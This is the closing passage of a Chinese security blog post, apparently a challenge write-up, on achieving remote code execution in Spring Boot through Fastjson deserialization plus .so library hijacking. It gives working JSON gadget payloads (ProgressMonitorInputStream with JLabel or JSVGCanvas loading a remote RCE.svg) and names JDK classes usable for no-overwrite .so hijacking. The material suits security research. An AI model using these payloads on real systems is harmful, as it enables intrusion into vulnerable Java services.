文章总结: 本文探讨在SpringBoot环境下通过写文件结合so劫持实现RCE的技术细节。文章分析了利用Class.forName触发静态代码块加载so的原理,挖掘了EventListenerList、InternationalFormatter、UIManager等原生反序列化链,以及基于ProgressMonitorInputStream和JLabel的Fastjson反序列化链。最终提出通过寻找加载不存在so的JDK类,配合usr_paths写入实现无覆盖劫持的利用思路,具有较高实战价值。 综合评分: 95 文章分类: 漏洞分析,漏洞POC,实战经验
在CobaltStrike反制漏洞中,利用了svg远程加载jar实现RCE,JLabel链同样可以。
{"@type": "java.io.InputStream","@type": "javax.swing.ProgressMonitorInputStream","parentComponent": { "@type": "javax.swing.DefaultListCellRenderer", "text": "<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:81/RCE.svg'></object></html>" }}
当然,也可以不用JLabel过渡,直接JSVGCanvas.setURI()
{"@type": "java.io.InputStream","@type": "javax.swing.ProgressMonitorInputStream","parentComponent": { "@type": "org.apache.batik.swing.JSVGCanvas", "URI": "http://127.0.0.1:81/RCE.svg" }}
漏洞核心原理是,JLabel的object标签可以触发任意类实例化的,只不过需要是Component子类才能调setter。但我们不需要调setter啊,能够加载或者实例化类就行了。
{"@type": "java.io.InputStream","@type": "javax.swing.ProgressMonitorInputStream","parentComponent": { "@type": "javax.swing.DefaultListCellRenderer", "text": "<html><object classid='sun.awt.image.JPEGImageDecoder'></object></html>" }}
8,结尾
当然,除了任意类加载触发so之外,在jdk11中还有很多很多链可以触发特定so。so劫持篇就介绍了dns/awt白名单两种办法,其他人也陆陆续续发现了一些。
至此,fastjson写文件挑战2想让大家学习的就差不多结束了。最后肯定还有人想要知道加固版本的预期解是什么。
其实就是找jdk中可以加载的so,在linux系统中并不存在。因此不需要覆盖so,只需要向usr_paths写入一个so,比如/lib/lible.so,再用JLabel链触发就行。
这样的类目前找到两个,我找到的是。
jdk.internal.jline.WindowsTerminal
su18找到的是
sun.security.jgss.wrapper.SunNativeProvider
那么fastjson写文件挑战2就完美结束了,远程环境关闭,大家可以自行搭建docker在本地上玩。
下一次【ssti挑战】正在筹备中。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:珂技知识分享 珂字辈 珂字辈《springboot环境下的写文件RCE——so加载篇》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论